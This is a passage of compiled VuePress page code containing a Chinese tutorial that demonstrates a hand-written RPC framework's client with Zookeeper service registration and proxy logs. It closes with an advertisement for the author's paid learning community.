"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"================================="')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("List")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" personList "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" helloPersonService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getTestPerson")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("2")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n personList"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("stream")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("forEach")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("::")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br")])]),t("p",[s._v("通过TestServiceImpl类的源码我们可以看到,远程调用HelloService接口的方法时使用的是javassist动态代理,远程调用HelloPersonService接口时,使用的是cglib动态代理。")]),s._v(" "),t("p",[s._v("(3)创建服务调用者demo的配置类ClientConfig,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Configuration")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@ComponentScan")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.*"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@PropertySource")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"classpath:rpc.properties"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClientConfig")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br")])]),t("p",[s._v("(4)创建服务调用者demo的启动类ClientTest,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClientTest")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),s._v(" context "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClientConfig")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("TestService")]),s._v(" testService "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("TestService")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n testService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("printResult")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("close")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br")])]),t("h4",{attrs:{id:"启动服务测试"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#启动服务测试"}},[s._v("#")]),s._v(" 启动服务测试")]),s._v(" "),t("p",[s._v("(1)启动Zookeeper,这里,为了演示简单,就直接在我本机启动单机Zookeeper好了,启动后的效果如下图所示。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-25-002","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-25-002.png",loading:"lazy"}})]),s._v(" "),t("p",[s._v("(2)启动服务提供者ServerTest类,启动后输出的日志信息如下所示。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":43:36,876 INFO ConnectionStateManager:228 - State change: CONNECTED\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":43:36,905 INFO RpcClient:79 - use cglib dynamic proxy"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("..")]),s._v(".\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":43:36,942 INFO CuratorFrameworkImpl:235 - Starting\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":43:36,943 INFO ZooKeeper:868 - Initiating client connection, "),t("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("connectString")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("127.0")]),s._v(".0.1:2181 \n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("p",[s._v("可以看到,服务提供者已经将发布的服务注册到了Zookeeper中。")]),s._v(" "),t("p",[s._v("(3)登录Zookeeper客户端查看Zookeeper中注册的服务,如下所示。")]),s._v(" "),t("ul",[t("li",[s._v("查看HelloService接口发布的服务信息")])]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("zk: localhost:2181"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("CONNECTED"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("5")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" get /binghe_rpc/io.binghe.rpc.test.client.HelloService"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("#1.0.0/65eb0d7f-4bf7-4a0a-bafc-1b7e0e030353")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"name"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.test.client.HelloService#1.0.0"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"65eb0d7f-4bf7-4a0a-bafc-1b7e0e030353"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"port"')]),s._v(":18866,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"sslPort"')]),s._v(":null,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"payload"')]),s._v(":"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"@class"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.center.meta.ServiceMeta"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceName"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.test.client.HelloService"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceVersion"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceAddr"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"servicePort"')]),s._v(":18866"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"registrationTimeUTC"')]),s._v(":1656135817627,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceType"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"DYNAMIC"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"uriSpec"')]),s._v(":null,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"enabled"')]),s._v(":true"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("ul",[t("li",[s._v("查看HelloPersonService接口发布的服务信息")])]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("zk: localhost:2181"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("CONNECTED"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("7")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" get /binghe_rpc/io.binghe.rpc.test.client.HelloPersonService"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("#1.0.0/882a5cdb-f581-4a83-8d56-800a8f14e831")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"name"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.test.client.HelloPersonService#1.0.0"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"882a5cdb-f581-4a83-8d56-800a8f14e831"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"port"')]),s._v(":18866,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"sslPort"')]),s._v(":null,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"payload"')]),s._v(":"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"@class"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.center.meta.ServiceMeta"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceName"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.test.client.HelloPersonService"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceVersion"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceAddr"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"servicePort"')]),s._v(":18866"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"registrationTimeUTC"')]),s._v(":1656135817274,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceType"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"DYNAMIC"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"uriSpec"')]),s._v(":null,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"enabled"')]),s._v(":true"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("通过Zookeeper客户端可以看出,HelloService接口和HelloPersonService接口发布的服务都已经被注册到Zookeeper了。")]),s._v(" "),t("p",[s._v("(4)启动服务提供者ClientTest类,实现RPC调用,输出的日志信息如下所示。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":56:47,391 INFO ConnectionStateManager:228 - State change: CONNECTED\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":56:47,488 INFO RpcClient:76 - use javassist dynamic proxy"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("..")]),s._v(".\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":56:47,518 INFO ConnectionStateManager:228 - State change: CONNECTED\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":56:47,545 INFO RpcClient:79 - use cglib dynamic proxy"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("..")]),s._v(".\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":56:48,253 INFO RpcConsumer:85 - connect rpc server "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("127.0")]),s._v(".0.1 on port "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("18866")]),s._v(" success.\nHello"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("!")]),s._v(" binghe\nHello"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("!")]),s._v(" binghe001 binghe002\n"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(" binghe\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v(" binghe\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br")])]),t("p",[s._v("可以看到,在ClientTest类的命令行输出了远程调用的结果信息。并输出了调用HelloService接口的远程方法使用的是javassist动态代理。调用HelloPersonService接口的远程方法使用的是cglib动态代理。")]),s._v(" "),t("p",[s._v("咱们一起手撸的RPC框架其实还有很多非常强大的功能,这里,就不一一演示了,后面咱们都会一起手撸来实现它。")]),s._v(" "),t("h2",{attrs:{id:"一点点建议"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#一点点建议"}},[s._v("#")]),s._v(" 一点点建议")]),s._v(" "),t("p",[s._v("咱们这个专栏属于实战类型比较强的专栏,加上咱们一起从零开始手撸的RPC框架会涉及众多的知识点。正所谓纸上得来终觉浅,绝知此事要躬行。冰河希望大家在学习这个专栏的时候勤动手,跟着专栏一起实现代码。期间要多动脑,多总结,这样才能够加深对各项知识点的理解。切忌眼高手低,学了半天却最终啥也没学会。")]),s._v(" "),t("p",[t("strong",[s._v("好了,今天的开篇文章就到这儿吧,如果文章对你有点帮助,记得给冰河一键三连哦,欢迎将文章转发给更多的小伙伴,冰河将不胜感激~~")])]),s._v(" "),t("h2",{attrs:{id:"一起出发"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#一起出发"}},[s._v("#")]),s._v(" 一起出发")]),s._v(" "),t("p",[s._v("我会将《RPC手撸专栏》的源码获取方式放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),s._v(" "),t("p",[t("strong",[s._v("欢迎大家将文章或者星球转发到群里或者朋友圈,这些内容冰河将用下班、周末、假期的时间不断完善。通过视频+文章+知识小册+直播+作业的形式与你一起学习、提升和进步,最终的目的就是提升你的技术实力,让你在职场走的更远,顺便多赚些钱。")])]),s._v(" "),t("h3",{attrs:{id:"星球提供的服务"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[s._v("#")]),s._v(" 星球提供的服务")]),s._v(" "),t("p",[s._v("冰河整理了星球提供的一些服务,如下所示。")]),s._v(" "),t("p",[s._v("加入星球,你将获得:")]),s._v(" "),t("p",[s._v("1.学习从零开始手撸可用于实际场景的高性能RPC框架项目(火热进行中)")]),s._v(" "),t("p",[s._v("2.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),s._v(" "),t("p",[s._v("3.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),s._v(" "),t("p",[s._v("4.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),s._v(" "),t("p",[s._v("5.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),s._v(" "),t("p",[s._v("6.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),s._v(" "),t("p",[s._v("7.可以发送你的简历到我的邮箱,提供简历批阅服务")]),s._v(" "),t("p",[s._v("8.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),s._v(" "),t("p",[s._v("9.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),s._v(" "),t("p",[s._v("10.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),s._v(" "),t("h3",{attrs:{id:"如何加入星球"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#如何加入星球"}},[s._v("#")]),s._v(" 如何加入星球")]),s._v(" "),t("p",[s._v("加入星球:扫描优惠券二维码即可加入星球。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),s._v(" "),t("ul",[t("li",[t("strong",[s._v("扫码")]),s._v(" :通过扫描优惠券二维码加入星球。")]),s._v(" "),t("li",[t("strong",[s._v("链接")]),s._v(" :打开链接 "),t("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[s._v("http://m6z.cn/6aeFbs"),t("OutboundLink")],1),s._v(" 加入星球。")]),s._v(" "),t("li",[t("strong",[s._v("回复")]),s._v(" :在公众号 "),t("strong",[s._v("冰河技术")]),s._v(" 回复 "),t("strong",[s._v("星球")]),s._v(" 领取优惠券加入星球。")])]),s._v(" "),t("p",[t("strong",[s._v("特别提醒:")]),s._v(" 苹果用户进圈或续费,请加微信 "),t("strong",[s._v("hacker_binghe")]),s._v(" 扫二维码,或者去公众号 "),t("strong",[s._v("冰河技术")]),s._v(" 回复 